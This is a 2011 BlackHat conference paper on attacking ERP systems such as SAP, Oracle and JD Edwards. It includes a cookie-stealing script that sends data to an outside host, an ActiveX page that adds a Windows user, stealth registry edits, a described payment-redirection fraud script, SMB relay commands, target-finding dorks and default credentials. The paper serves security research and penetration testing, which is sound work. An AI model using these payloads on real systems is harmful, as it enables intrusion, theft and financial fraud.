Forgotten World:
Corporate Business Application Systems

Alexander Polyakov (dsecrg.com)

Val Smith (AttackResearch.com)

BlackHat DC 2011

1. Abstract

Do you know where all the critical company data is stored? Do you know how easily you can be attacked by cybercriminals targeting this data? How can an attacker sabotage or commit espionage against your company just by having access to one system? This paper will describe some basic and advanced threats and attacks on Enterprise Business Applications – the core of many companies.

1.1 Author Bio – Alexander Polyakov

Alexander Polyakov is the CTO at Digital Security Research Group [DSecRG] an international subdivision of Digital Security company which is focused on Research and software dewelopment for securing Business-critical systems. His expertise covers enterprise business-critical software like ERP, CRM, SRM, RDBMS, SCADA, banking and processing software. He has discovered dozens of vulnerabilities in the products of such vendors as SAP and Oracle, and has worked on projects focused on special applications security in the oil and gas, retail and banking sphere. He is the author of a book titled "Oracle Security from the Eye of the Auditor: Attack and Defense" (in Russian).

He also leads OWASP-EAS project, is the architect of ERPSCAN Security scanner for SAP, Expert Council member of PCIDSS.RU, QSA and PA-QSA auditor, articles writer for Russian XAKEP Magazine and one of the contributors to the Metasploit project, focused on Oracle modules. He has been a speaker at HITB, Source, DeepSec, Confidence, Troopers,T2 and many top Russian conferences.

1.2 Author Bio – Val Smith

Val Smith has been involved in the computer security community and industry for over ten years. He currently works as a professional security researcher on a variety of problems in the security community. He specializes in penetration testing (over 40,000 machines assessed), reverse engineering and malware research. He works on the Metasploit Project development team as well as other vulnerability development efforts. Most recently Valsmith founded Attack Research which is devoted to deep understanding of the mechanics of computer attack. Previously Valsmith founded Offensive Computing, a public, open source malware research project.

2. Intro

Amidst new popular security topics like SCADA, Win 7, and the Cloud there is one area which very few people are talking about. Enterprise Business Applications store the most critical data, and at the same time they are very insecure. Very little focus has been placed by the security community into ERP when compared to other subjects [1] [2]. What is ERP? What are the myths, problems, threats and interesting attack vectors with these types of systems? This paper will attempt to provide some answers to these questions.

2.1. Threat

All that is needed for an attacker to cause serious damage to a company is to gain access to the corporate business application infrastructure, specifically systems such as ERP, Customer Relationship Management (CRM), and Supplier Relationship Management (SRM). If an attacker seeks to collect critical financial, personnel, or other sensitive data, these are the systems where it is stored. These systems are also often trusted and connected to other secure systems such as banking client workstations as well as SCADA systems.

These days the majority of companies have strong security policies and patch management as it applies to standard networks and operating systems, but these defenses rarely exist or are in place for ERP type systems. An attacker can bypass all company investments in security by attacking the ERP system.

We will show examples of various business applications including custom as well as more the popular ones and previously unknown vulnerabilities and attack methods that can be exploited to gain unauthorized access to critical business data. These attack methods can also be useful in penetration tests against ERP systems. Many problems that will be shown cannot be easily patched because they are design flaws or business logic problems requiring re-design of the system.

2.2. Introduction to Business Applications

Business software is generally any software program that helps business to increase efficiency or measure their performance [3]. The term covers a large variety of applications within the business environment, and can be categorized by using a small, medium and large matrix:

- The small business market generally consists of home accounting software, and office suites such as Microsoft Office and OpenOffice.org;
- The medium size, or SME, has a broader range of software applications, ranging from accounting, groupware, customer relationship management (CRM), human resources software (HRM), outsourcing relationship management, loan origination software, shopping cart software, field service software, and other efficiency enhancing applications;
- The last segment covers enterprise software applications, such as those in the field of enterprise resource planning (ERP), enterprise content management (ECM), business process management (BPM) and product lifecycle management (PLM). These applications are extensive in scope, and often come with modules that either add native functions, or incorporate the functionality of third-party software programs.

Our talk will be focused on the Enterprise segment and ERP, as one of the most critical and popular system. Other systems have same approach with little differences.

3. The Problem

The main problem is that ERP systems are highly critical to business, they suffer from similar problems as SCADA and other esoteric fields, and the security community has put little focus on the area thinking only about Segregation of Duties [4] so there have been few improvements in its security posture.

3.1. Why Business Applications Are Critical

All business processes are generally contained in ERP systems. Any information an attacker, be it a cybercriminal, industrial spy or competitor, might want is stored in a company's ERP. This information can include financial, customer or public relations, intellectual property, personally identifiable information and more. Industrial espionage, sabotage and fraud or insider embezzlement may be very effective if targeted at a victims ERP system and cause significant damage to the business.

3.1.1. Espionage

The most critical data likely to be targeted by espionage as well as where it is stored (SAP modules) are:

- Financial Data, Financial Planning (FI)
- HR data, personal, contact details (HR)
- Customer Lists
- Corporate Secrets (PLM)
- Supplier tenders (SRM)
- Customer Lists (CRM)

Cyber criminals need only to gain access to one of the described systems to successfully steal critical information.

3.1.2. Sabotage

All business processes involved in ERP applications are very critical. A devastating denial of service attack is to stop or disable the ERP or other business-critical system. On the other hand there is a more critical system in some companies; Supervisory Control and Data Acquisition (SCADA). It is generally understood that the SCADA systems are secured by network segmentation (air gap) from corporate systems. However, in some cases business processes need to have connections between SCADA and ERP. This situation is common because in reality data which is used in SCADA systems must also be available automatically to the ERP system for a variety of business reasons. So if an attacker can gain access to the ERP system they may be enabled to also gain access to the connected SCADA. Examples will follow later in this paper.

3.1.3.Fraud

There are various possible scenarios for fraud activities in ERP implementations. It depends on the automation level of the ERP system. In some cases an attacker may attempt to create and approve fake paymentst, create fake client and transfer money to him and many other things. In other ERP configurations the attacker can only generate a payment request which is later sent to the shared server and then people manually take payment orders and input them into bank-client software. This scheme also can be hacked but have less chances and more places where fraud can be investigated.

3.2. Why these systems have problems with security

It is a well known fact that any software has vulnerabilities but Enterprise Business Applications have certain differences that can make them more severely vulnerable than other systems:

- Customization
- Complexity
- Risky
- Unknown

The following sections will outline these differences in more detail.

3.2.1. Customization

ERP systems cannot be installed out of the box. They have many (up to 50%) custom codes and business logic. In a sense, ERP is actually not software but rather frameworks for creating software. There are no two SAP or E-Business Suite installations that are the same. Because of these things they can have different programming errors made by programmers, and mis-configurations made by administrators during customization which increases the difficulty in the security assessment of ERP systems.[5]

3.2.2. Complexity

ERP systems are huge complex programs that contain different database systems, application servers, frontend software, can be installed on different OS systems, use many technologies and have completely different network landscapes. It is commonly said that complexity kills security. It is very hard to secure ERP implementations because the security of numerous components needs to be understood and a wide variety of skills in different areas of security are required.

3.2.3. Risk

Since ERP systems store and process business-critical data any downtime can incur significant costs to the business and customers. Therefore patches or configuration changes must be well understood and tested before implementation and often require the acceptance of some level of risk. Very few ERP administrations can accept this risk and it is easier to avoid modifying such an expensive production system if it is operational. For this reason vulnerable software may exist in companies over many years.

3.2.4. Unknown

ERP systems are widely familiar to the public, and very few people conduct research in this area. Because operating systems or web browsers are popular areas of research and are tested by many people they become more secure over time. In contrast ERP systems are much less scrutinized and often contain simple and easy to discover vulnerabilities. ERP has also been less targeted by attackers than other systems, at least to the knowledge of public literature on the subject.

These four problem areas do not encompass all problems with ERP, but the main causes. Recently attackers and security researchers have begun to pay closer attention to these systems, raising the threat against them [1],[2]. More and more ERP systems are connected to the internet [6] so if developers and administrators do not start thinking about security right now they are likely to suffer great compromises in the near future.

4. Penetration Testing ERP

As it has been said before, there are many problems existing in different areas of ERP systems. Security problems exist in: Architectures, Development and Implementation processes. For categorizing these types of problems the OWASP-EAS has been created which lists the top 10 Implementation and Development problems relating to ERP. [7] There are also some methodologies and guides which will help people to understand security level of their software. Here we will be focused more on specific security issues of ERP systems.

4.1. Approach Differences

This section discusses penetration testing and security assessment of business applications. There are some major differences in testing business applications versus testing typical corporate environments. Here are the main differences:

1) A deep knowledge of a system assessed is required to even begin
2) ERP systems are critical and great care must be taken not to cause outages to avoid the high costs of downtime
    a) Proof of Concept exploits are too dangerous to use for example
    b) Memory vulnerabilities need a lot of testing and also risky
3) Gaining OS level shell access is not the goal of ERP penetration testing
    a) The goal is access to critical DATA and to identify business process impact

4.1.1. Deep knowledge

It is extremely difficult to understand all the features and business processes of every ERP system because it is changes from company to company. It can be much harder than typical penetration tests due to the huge amount of overall technical information and very little security-related information the tester needs to have mastery of. This means that even if a tester has knowledge of buffer overflows and XSS vulnerabilities in SAP, they are far from being a competent assessor of ERP systems. The tester needs to understand business system processes, business logic, all possible security configurations with different backend and look at every vulnerability risk while taking into consideration real business-risks.

4.1.2. Business Risks

ERP penetration testing clients expect to see business risks explained in reporting rather than OS level vulnerabilities. If the tester simply gains OS access to the SAP or Oracle EBS servers, the threat is not sufficient to warrant corrective action. Gaining access to CFO's ERP account showing how to create unauthorized money transfers demonstrates more risk than existence of a root level buffer overflow in the web frontend of an ERP system.

4.1.3. Exploitation

This is another big difference in approach between traditional penetration testing and ERP penetration testing. When attempting to penetrate into ERP methods that can possibly harm the system cannot be used. Bruteforceing a password for the system with account lockouts after a certain number of unsuccessful logon attempts can have serious impacts such as; locking out individuals engaged in closing a monthly financial period, causing the company to undergo significant monetary losses, and damaging the relationship between the client and the tester.

Another problem is that vulnerabilities do not have a 100% exploitation probability. Buffer overflows, format strings parsing problems and memory corruption errors where exploit code depends on a target are not as easily generalized or weaponized in the ERP environment. Due to the diversity in ERP systems and exploit would have to be adapted for a number of hardware, operating systems and framework releases (major releases at a minimum). This can add up to ~50 different shellcodes or payloads. Even though this is exceedingly difficult, it is still possible. An even greater problem is the need to test all of these diverse environments and even if it is possible to gain access to all the required distributions, which is difficult, it will take about a week to install a demo of each ERP system properly. So theoretically it could take up to a year to write and test all possible exploits and after one year of publication there is a great possibility that the system will be modified or migrated to a different OS, breaking exploits.

A better approach is needed, one which concentrates more on the architecture, business-logic and configuration problems rather than program vulnerabilities. Here is a table describing the approaches:

Program vulnerabilities:		**Architecture flaws:**	
-	Can be patched quickly	+	Harder to patch and harder to re-design (old design – in production for 10 years)
-	Need to write & test numerous payloads	+	One vulnerability – one exploit
-	After gaining OS shell you still need to access data	+	Direct access to application and API (mostly)
+	Easier to find	-	Harder to find (deeper knowledge on the system required)

Table 1

4.2. Architecture Flaws

There are different types of architecture flaws and business logic vulnerabilities that can be discovered in business applications and easily exploited during penetration tests. Here the typical flow of an attack against ERP systems:

- **Information disclosure -** Collect all possible information about system using public methods. Google hacking techniques can be used to and will be shown later (*Example 1*).

- **Authentication bypass -** Next step for an attacker after information collection is getting access to system. Access can be gained through the use of different authentication bypass vulnerabilities which will be shown later. This often provided non-privileged access *(Examples 7,8,9,10*)

- **Improper Access Control -** After limited access to the system is gained, the attacker will need to escalate privileges. The easiest method is to find access control bypasses. This area mostly covered by Segregation of Duties.

- **Undocumented Functionality -** Another method for rights escalation is to find undocumented functionality. ERP's are very big and have many functions created for debug purposes or left over from old versions and these functions can sometimes also be used to escalate privileges. (*Example 3, Example 5*).

- **Dangerous Functionality -** This is a little bit different from the previous one. Dangerous functionality can be known to administrators but not properly restricted or restricted by user via default passwords (*Example 2*) and also (*Example 4*, *Example 6*). In some cases dangerous functionality can affect the database or OS options and may not be known to ERP security professionals.

- **Insecure Trust Relations -** These vulnerabilities can be used for post exploitation. It is very common to get access to one ERP installation and then escalate privileges to another one if they have insecure trust relations such as running from the same domain user, database links (*Example 11)* or application trusts. (*Example 13*) (*Example 12)*

In next chapters we will show examples from penetration testing and deep security assessment of different business applications. Many of those examples target SAP systems but the same vulnerabilities with small differences can exist in other business applications. All examples are divided into 3 categories:

- **Attacking WEB** - Useful for remote penetration testing
- **Attacking Clients** - Useful when you make remote penetration testing and no public web resources are available
- **Internal Attacks** - Useful when you simulate insider attacks or when you successfully penetrate into corporate network by using 2 previous ones.

4.3. Attacking WEB

Business applications not only available internally; this myth comes from the past 10 years during the time mainframes were prevalent. Business is changing and companies want to have their applications connected. They need it to connect to departments worldwide, share data with clients via web portals, etc. Almost all business applications have web-access. In the following sections we will describe how to locate and exploit them.

4.3.1. Finding Targets

The attack begins by finding targets. This can be done by using google dorks and shodanhq queries. Here we collect most popular ERP systems and their popular search dorks

Example 1 (Information disclosure: Google hacking)

Some of these searches will simply identify ERP systems, others will provide informational errors, vulnerabilities or even leaked authentication information.

Google search strings:[7]

SAP Netweaver ABAP

- `inurl:/sap/bc/bsp`

SAP Netweaver Portal

- `inurl:/irj/portal`

SAP ITS

- `inurl:/scripts/wgate`
- `inurl:/scripts/wgate/webgui`

SAP BusinessObjects and Crystal Reports[8]

- `inurl:infoviewapp`
- `inurl:apspassword`
- `filetype:cwr +`
    - `inurl:viewrpt`
    - `inurl:apstoken`
    - `inurl:init`
- `inurl:opendoc inurl:sType`

Oracle CRM: [9]

- `inurl:/OA_HTML/jtflogin.jsp`

Oracle iStore: [10]

- `inurl:/OA_HTML/`

Oracle General:

- `Inurl:fnderrors.jsp`
- `Inurl:rf.jsp`

PeopleSoft

- `inurl:/psp/ps/?cmd=login`
- `allinurl:/psp/  cmd=login`

Shodanhq search strings: [7]

- `SAP Web Application Server (ICM)`
- `SAP NetWeaver Application Server`
- `SAP Web Application Server`
- `SAP J2EE Engine`
- `SAP Internet Graphics Server`
- `SAP BusinnessObjcts`

4.3.2. Remote Exploitation

After successfully locating targets an attacker begins exploitation. Here are some examples:

Example 2 (Dangerous functionality: SAP Default passwords + RFC functions)

SAP NetWeaver has a web interface for executing RFC functions through the WEB. They can be accessed by using SOAP requests to /sap/bc/webrfc and /sap/bc/soap/rfc [11]. Almost all these SOAP requests need SAP authentication. All default SAP username/passwords like TMSADM or SAPCPIC can be used. [12]

List of possible functions:

- **RFC_INFO** – Information gathering
- **SXPG_CALL_SYSTEM** – Executing system function remotely
- **SXPG_COMMAND_EXECUTE** - Executing command remotely
- **EDI_DATA_ICOMING** – Smb relay attack possible
- **SUSR_USER_INTERNET_CREATE** – Create ABAP user using technical user
- **And many other**

ERPSCAN Black [13] is a tool that was created by DSecRG can execute some of those functions remotely using WEB and also:

- **SOAP DOS** – Denial of service attack using XML Blowup [14]
- **MMR DOS** – Denial of service attack using SAP MMR [15]

Business risk – Remote sabotage

--

Example 3 (Undocumented functionality: SAP MMR)

If we look more closely at the different SAP services installed we will find for example the SAP Netweaver Metamodel Repository service which is created for many things including remote performance testing.

SAP Netweaver Metamodel Repository can be accessed without authentication by default in the old versions of SAP ECC. Any attacker can get access to the test performance page. [15]

```
http://sapserver:8000/mmr/MMR?page=MMRPerformance
```

If the attacker runs the performance test with max data size, the server will execute 100% CPU for some time. An attacker can write a script that will call this script 100 times, then the server will not be able to execute any other operations for a long time, effectively causing a denial of service. If you call this request 100 times, the server can be simply overloaded and no longer receive connections. So sometimes you do not need to look for new vulnerabilities because of many functional features. Other similar examples can be simply found.

Business risk – Remote sabotage

--

Example 4 (Dangerous functionality: SAP SRM)

Another example is SAP SRM (Supplier Resource Management). This is the system which is used for supplier relation management. SAP SRM use cFolders document sharing engine. Every supplier can put their bid information with prices for services rendered and then employees of a company which uses SRM can read all files from different suppliers and decide which one will win a bid.

A more secure default design with be to not allow suppliers to view each others documentation. By the way when we worked with this system we found many stored [16] and linked XSS [17] vulnerabilities which can be used to gain access easily to the victim's HTTP session. These vulnerabilities are patched but to tell the truth you do not need to use them to obtain an authorized access because there are another ways. This system has a possibility to share any file including HTML files. An attacker can create and HTML file called "new prices for our goods.html" containing a cookie sniffer and gain unauthorized access:

```
<html><script>document.location.href='http://
dserg.com/?'+document.cookie;</script></html>
```

Also you can use an HTML file with included ActiveX call to vulnerable SAPGUI ActiveX.[18]

Business risk – Remote espionage

--

4.4. Attacking Clients

Another way to obtain unauthorized access to company internals is to target clients[19]. If a company does not have a remote web-based ERP frontends, an attacker can attempt to get access to user workstations who work with business applications. Even if business-critical software is secured by network access controls, you can target a user who has this access by their business need.

Examples of the clientside business critical software:

- SAP GUI
- SAP NetWeaver Business Client
- Oracle Document Capture
- Other

4.4.1. Finding Client Targets

To find a target an attacker can use general social engineering as well as phishing e-mails.

4.4.2. Client Exploitation

The next stage is exploitation. There have been about 15 vulnerabilities found in SAP GUI during the last 3 years. DSecRG researchers have also demonstrated a POC tool called sapsploit in order to facility exploitation [18]. This tool contains some of existing exploits for SAP GUI and also tries to exploit users.

One of the latest vulnerabilities is a buffer overflow in the NWBC ActiveX control (which is marked as safe for scripting) found by Alexander Polyakov and Alexey Sintsov from DSecRG. [20] Using this vulnerability an attacker can get remote access to the workstation that uses NWBC.

Example 5 (Undocumented functionality: Insecure ActiveX methods)

Many ActiveX controls have been discovered that can be used to read or write files, execute programs and run dangerous functions [18]. One of the most interesting is where attacker can execute standard commands, such as add any user to victim's PC[21]

```
<html>
<title>*DSecRG* Add user *DSecRG* [DSECRG-09-064]
</title>
<object classid="clsid:A009C90D-814B-11D3-BA3E-
080009D22344"
id='test'></object>
<script language='Javascript'>
function init()
{
test.Execute("net.exe","user DSecRG p4ssW0rd /add"
,"d:\\windows\\",1,"",1);
```

```
}
init();
</script>
</html>
```

This function was created by SAP and can be used in malicious pages to execute code. This approach is more practical than traditional exploits, due to the problems that can exist in trying to create universal exploits for NWBC. With this type of attack there is no need to be concerned with cross version/platform shellcode compatibility.

For checking Frontend security a free service has been developed [13] which allows anyone to check what vulnerabilities and misconfigurations may exist in their SAP Frontend software implementations.

4.4.3. Post Exploitation

After the exploitation, the most interesting work begins. The goal of ERP Post-Exploitation activities is to obtain access to business-critical data and show possible business risks. There are two main ways to do this:

- Exploit lateral targets from a client
- Use a current user session

After gaining a shell on the client, we need to collect information about the next targets (SAP servers) and try to exploit them. This all can be done by methods used in **saptrojan** which was described in talk named "Attacking SAP Users with Sapsploit" [20] by Alexander Polyakov. Another method is to use a dangerous functionality such as GUI scripting in SAP.

Example 6 (Dangerous functionality: SAP GUI Scripting)

SAP users are able to create and run scripts which automate their user functions. By default SAP GUI Scripting is disabled on any given SAP system, but it is very useful feature in many companies, thus it is widespread and generally turned on. From the perspective of the SAP server there is no difference between SAP GUI communication generated by a script and SAP GUI communication generated by a user. For this reason a script has the same rights to run SAP transactions and enter data as a user starting it. In addition, the same data verification rules are applied to the data entered by a user and data entered by a script.

On the user side SAP GUI scripting can be disabled or enabled by setting a registry value.[22] This works on the older versions of SAPGUI prior to 7.2. Starting from version 7.2 of SAPGUI SAP created an opportunity for a user to turn it on and off using a checkbox menu, and from 7.2 GUI Scripting is enabled by default so every user can change this option without having an administrator rights.

Enabling GUI Scripting

To enable GUI Scripting:

1) Click the "Customizing of Local Layout" toolbar button in SAPGUI

2) Click Options and choose the Scripting tab
3) Select the “Enable Scripting” check box

To enable GUI Scripting support on the server:

1) Start a RZ11 transaction
2) Type sapgui/user_scripting in the “Maintain Profile Parameters” window
3) Click Display
4) Click Change value in the “Display Profile Parameter Attributes” window
5) Type TRUE in the new value field.

Demonstrating business impact:

Following is a proof of concept exploit which can demonstrate business impact of insecure GUI Scripting use. (thanks to Dmitriy Chastuhin from DSecRG). In our example we change banking account information of a company chosen from the vendor list to our banking account. The next time someone makes a transfer for this company, and there are no other checks, money will be sent to us. After this an attacker simply needs to run this script again to change it back.

In SAP there is the LFBK table where the main information about banking accounts is stored. The major fields of this table are:

- BANKN – Bank account number
- IBAN – International Bank Account Number

Proof Of Concept Attack Description

An attack that performs the following steps can be written in VBS and consists of two parts. The first part turns off a security message which is shown to a user every time the GUI Scripting executes to provide extra stealth. It can be done simply by changing registry value of a current user so administrative access is not required. The specific registry key is:

```
[HKEY_CURRENT_USER\Software\SAP\SAPGUI Front\SAP Fronte
nd Server\Security] "WarnOnAttach"=dword:00000000
"WarnOnConnection"=dword:00000000
```

Then script takes the following steps:

1) Waits 210 ms to change registry values
2) Open the SAPGUI window and minimize it to tray
3) Run SE16n transaction (Changing table values)
4) Open the LFBK table with the “&SAP_EDIT “ option
5) Create a copy of bank account
6) Change BANKN
7) Delete the original

This script with some modifications can be used as a payload for **Sapsploit** when trying to connect to the different SAP servers using default credentials or using the session context of a compromised user.

Business risk – Local fraud

--

4.5. Internal Attacks

If an attacker or malicious insider can gain access to internal ERP resources by executing the previous steps or other similar insider attacks, there are many different ways to gain unauthorized access to business-critical information.

The most useful vulnerabilities in internal penetration tests are:

- Authentication and access control bypass
- Dangerous functionality
- Insecure trust relations

4.5.1. Authentication Bypass

During our assessment of different custom and popular ERP-systems we have seen many types of authentication failures which are examples of total misunderstanding of security. Here we will show a list of failures in different enterprise applications.

Example 7 (Authentication bypass: Russian ERP)

This example is from a Russian ERP-system which is used in some technological processes in large companies. The system has legacy 2-tier architecture. It consists of a frontend which is installed on the workstation and backend which is installed on the database server. The backend consists of many database stored procedures. The client connects directly to database.

The authentication process looks like this:

- A user types in their domain username "DC\guiuser" password on the frontend
- The frontend application tries to connect to the database server on the SQL port using the domain username "DC\guiuser" and a password.
    - All domain users have no direct rights on database objects like tables and stored procedures
    - All users can only execute one function: ***xp_setapprole("parameter")***
    - So a direct connection to database gives a user nothing and appears secure
- After connecting to the frontend server, the application automatically executes the ***xp_setapprole*** function with a secret password as a parameter
    - The secret password is generated by a pseudo random function using the IP of the frontend but it does not matter
- After executing this function the user "DC/guiuser" impersonates and has rights to run any stored procedure
- Then the Frontend application reads information from the USERINFO table where the information about user roles is stored
    - Depending on the given role to the "DC/guiuser", the application displays a GUI with the requested functionality

This design is totally insecure: first due to insecure transmission of the password and secondly due to the fact that the security checks are performed on the frontend. This can be hacked by:

1) Network sniffing on Frontend
2) Gaining a password for the ***xp_setapprole*** function
3) Connecting to the Database server manually and running this function

After that an attacker can make changes directly on the database, but the easiest way is to give themselves an additional role with privileges by changing data in the USERINFO table. After gaining this access and attacker can gain total control on the system and also can easily delete and update log tables.

A similar authentication bypass but with a hardcoded application credential (secret password) rather than a pseudo randomly generated one was also found in another ERP

Business risk – Local espionage,sabotage,fraud

--

Example 8 (Authentication bypass: JD Edwards) :

Another example of insecurity in an authentication process is the usage of hardcoded or default passwords for an application[23]. This type of problem was found in popular ERP called Oracle JDEdwards.

The authentication process has similar problems to previous ERP:

1) The user types in their username (Ex. APPUSER) and password (Ex. APPASSWORD) on the frontend
2) The frontend application tries to connect to the JD Edwards Database server on the SQL port using username ***JDE*** and its password which is read from configuration file **JDE.INI** ***(Password reads from "SECURITY", "Password", "JDE") this password is by default – JDE)***
3) The frontend application check APPUSER's password in database table F98OWSEC and if it is ok APPUSER authenticates and Frontend draw a GUI by analyzing APPUSERS role in database.

This design is also insecure. If an attacker has access to the client workstation they can sniff the transmission of the password from the ***JDE*** user during authentication process in MS SQL. In older versions of MSSQL it can be easily done by Cain and Abel. In new versions it can be done by hooking API of JDE frontend during authentication. After acquiring the password the attacker can then directly connect to database with DBA access. This provides full access to all data, bypassing any restrictions. JDE security guides mention that access to the JDE.INI must be secured by file restrictions but it doesn't help from this attacks.[24]

Business risk – Local espionage,sabotage,fraud

--

Example 9 (Authentication bypass: Open Edge RDBMS 0-day vulnerability)

The following example is on Open Edge RDBMS. The Progress® OpenEdge® Relational Database Management System (RDBMS) is scalable and meet the demands of enterprise applications, e-commerce, and application service providers. The OpenEdge database provides extensive flexibility in application development with interface for the OpenEdge ABL language.[25] This RDBMS can be used for building a custom-based ERP system. In the course of testing during a business application security assessment we found a critical vulnerability in its core – RDBMS.

This vulnerability was found by Alexander Polyakov and Alexey Sintsov during security assessment of a custom retail ERP which used Open Edge RDBMS. The vulnerability is in the authentication process. [26]

The authentication process works as follows:

1) The client connects to server and sends an auth request with USERNAME
2) The server checks if the user exists and if so sends a hash of the user's password to the client
3) The client checks if the its hashed password matches the hash sent from server
4) If matches the client sends a reply that password is ok
5) Server successfully authenticates the client.

This design is insecure. It can be bypassed by changing a 1 bit JMP instruction on the client forcing it to always reply yes to the server. Once this change is made the client will always be authenticated even if an incorrect password is entered. All that is needed is to know the username.

After further research we determined that there is no need to even know the username. Here how the authentication works:

1) The client connects to the server and sends an authentication request with a non-existent username
2) The server checks if this user exists and because it is not exists the server replies that there is no such user
3) Then the attacker can send the packet which matches the user authenticated response
4) The server successfully authenticates the client.

Finally, by default when a non-existent user is authenticated in this manner, the server grants the user administrator rights by default. Progress software officially say that they will not patch this vulnerability. The only possible countermeasure at this time for this vulnerability is to use the windows authentication method instead of internal authentication.

Business risk – Local espionage,sabotage,fraud

--

Example 10 (Authentication bypass: Russian ERP 2)

This example is from a custom ERP system used in the oil/energy sector. This application is 2 also tiered. It consists of frontend applications installed on user workstations and backend services installed on a database server. The backend consists of different stored procedures and tables installed on the database.

The authentication process looks like this:

- A user opens the frontend application and selects the desired role
- The frontend application tries to connect to the database server on the SQL port using a hardcoded APPUSER username and a password.
- The frontend application selects all domain usernames and mapped database usernames and database passwords with the selected role from the table USERTABLE replies to the client software with a list of domain usernames to the user
- If the user's current logon username exists in this list then the client software allows the user to connect.
- When user clicks connect, a frontend application connects to database using previously selected database usernames and passwords for the current domain user
- If everything matches, the frontend application reads other required information from the database and displays a GUI interface to the user

This design failure looks impossible but it is real example. In this design the user can simply sniff the database credentials of any existing user by choosing application roles in the frontend application and sniffing the reply. From the reply the attacker can retrieve the database usernames and passwords and then can directly connect to database and get full access to data.

Business risk – Local espionage,sabotage,fraud

4.5.2 Insecure trust relationships

Corporate business applications are both connected to each other and also with many other corporate systems like domain controllers, databases and sometimes with more critical systems like SCADA. It is not uncommon to have an ERP system which has a RDBMS backend that is linked with a SCADA RDBMS backend.

Trust relations and links are everywhere. In a normal penetration test trust relations between OS systems such as servers on the same domain or servers that use the same passwords for the local administration user are what is generally used. If the tester has a shell on one of the servers they can attempt to obtain local hashes, domain hashes, or security tokens and try to use it on other systems.

When working with business applications, database and application trust relations can be added, manipulated or used.

Example 11 (Insecure trust relations: Database hoping)

Corporate databases are deeply connected to each other for different needs such as replication, back-ups or transferring information between each other. It is common to see 10-20 links between databases. For a long time these links have been public and use SA accounts with hardcoded passwords. With access to an unprivileged user in a database with a hardcoded, it is possible to hop to another database with sysadmin rights and then gain access to the OS or hop to the next database. In corporate networks sometimes it is possible to make 3-5 hops.

In MSSQL ***sp_linkedservers*** is available for use to list all links. This request makes it possible to select requests from linked databases. For example:

```
select * from openquery(LINKEDSERVER,'select * from @@version')]
```

The most dangerous aspect to this attack was found in a custom based ERP application which uses MSSQL Database as a backend and has links to another database which was the backend to a SCADA system. After one hop it is possible to achieve total control of the technological processes of this company. While direct access to the SCADA systems is restricted, it is still accessible via these database trusts. At a minimum one connection for transferring data between the databases is required, and if this trust connection is not secure and runs with rights of ***db_owner*** this is a significant vulnerability.

Business risk – Local espionage,sabotage,fraud

--

Example 12 (Insecure trust relations: PassTheHash fishing + 0-day)

The well known PassTheHash vulnerabilities can be used for gaining a shell or password hashes. When penetration testing ERP, this type of attack is even more useful due to three things:

- Most ERP systems use domain accounts or local user accounts for running their processes.
  - For example SAP installs with 2 preinstalled usernames:
    - <SID>adm
    - sap<SID>
  - This means that PassTheHash will generally provide needed credentials
    - There will be no NULL sessions that can be obtained if an application is running under Local Service or System accounts
- ERP systems have a lot of file system related functionality that allows for the use of \\fakesmb\share
  - This is called PassTheHash phishing - when an attacker sets up an SMB server and collect requests with account hashes for the purposes of relaying them (SMBRelay)
- Most ERP systems require multiple computer resources to operate. For this reason it is common to see ERP installed in a cluster.
  - During a security assessment it was found that the SMB relay patch from Microsoft did not protect clusters

- Because of this, PassTheHash calls from one node of a cluster to another node of the cluster are possible

Having all those 3 things together makes PassTheHash/SMBRelay a silver bullet for any ERP system during penetration tests. Here is one example for SAP when using the default user SAPCPIC [27]:

```
Startrfc.exe -3 -h 172.16.0.222 -s 01 -t EDI_DATA_ICOMING -E
PATHNAME=\\172.16.0.101\DSECRG\ -E PORT=SAPID3 -u SAPCPIC -p
admin
```

This attack generally only works against windows systems, but occasionally there are SMB clients installed on UNIX servers as well. There are also many different possibilities to run PassTheHash from database with guest rights for example:

MsSQL [28]

xp_dirtree `\\172.16.0.101\DSECRG`
xp_fileexists `\\172.16.0.101\DSECRG`
xp_getfiledetails `\\172.16.0.101\DSECRG`
xp_subdirs `\\172.16.0.101\DSECRG`

Oracle [29]

Business risk – Local espionage,sabotage,fraud

--

Example 13 (Insecure trust relations: SAP Trust relations)

Another example of trust relations is application links. Some applications can be linked to each other at the application level. For example, Lotus Domino and SAP ERP have links between trusted servers.

In the example of SAP ERP a link can be created which is similar to a database link between 2 SAP servers using the SM59 transaction. Sometimes these links have hardcoded passwords to other SAP systems with SAP_ALL rights for making transport requests. In the older versions it was possible to gain access to a trusted server having with the default user EARLYWATCH. In newer versions it is only possible for privileged users. It is also possible to find application links to production systems that are setup with SAP_ALL rights.[27]

5. Future work

DSecRG is in the final stages of developing ***ERPSCAN*** , [13] an automatic security scanner for SAP systems, which can be used to simplify security assessments as well as compliance and risk assessments for SAP Netweaver. Other ERP specific security tools under development and will be presented in the future.

The OWASP-EAS [7] security guidelines will also be updated and have more examples on different areas of business application security.

6. Conclusions

ERP and business applications are a forgotten world in the field of security research, which is concerning because of the sensitive data involved. Old mistakes that may have been solved in other areas of IT are being made today in new business systems. These can be found and leveraged by malicious attackers to cause significant damage to businesses.

However a new tactical approach to exploitation that focuses on design flaws, configuration errors, and other similar problems is more effective against ERP systems than more traditional methods such as memory corruption bugs and exploits.

Although this is a relatively new area in the field of security, during the last year this group, as well as others, has begun to raise awareness towards security problems in Business Applications such as ERP.

We hope that this area will grow and people begin understand some of the threats to their ERP systems and business applications instead of only focusing on Segregation of Duties.

7. References

[1] DsecRG Research group focused om ERP security http://dsecrg.com
[2] Onapsis Lab focused on ERP security http://onapsis.com
[3] Business Software: http://en.wikipedia.org/wiki/Business_software
[4] Segregation of Duties SAP http://www.sdn.sap.com/irj/scn/go/portal/prtroot/docs/library/uuid/f02855c9-2091-2a10-8682-af41abe087ba?QuickLink=index&overridelayout=true
[5] “ERP security: Myths, Problems, Solutions” by Alexander Polyakov at Source Barcelona 2010 http://dsecrg.com/pages/pub/show.php?id=30
[6] ERP Security challenge http://www.csoonline.com/article/216940/the-erp-security-challenge

[7] OWASP Enterprise Application Security Project: http://www.owasp.org/index.php/OWASP_Enterprise_Application_Security_Project
[8] Google Hacking for SAP: http://dsecrg.blogspot.com/2010/11/sap-infrastructure-security-internals.html

[9] OWASP – Hacking SAP Business Objects: http://www.owasp.org/index.php/Hacking_SAP_BusinessObjects
[10] Google Hacking of Oracle Technologies: http://www.red-database-security.com/wp/google_oracle_hacking_us.pdf
[11] Secure Configuration for SAP NetWeaver Application Server ABAP http://www.sdn.sap.com/irj/scn/go/portal/prtroot/docs/library/uuid/f0d2445f-509d-2d10-6fa7-9d3608950fee?QuickLink=index&overridelayout=true
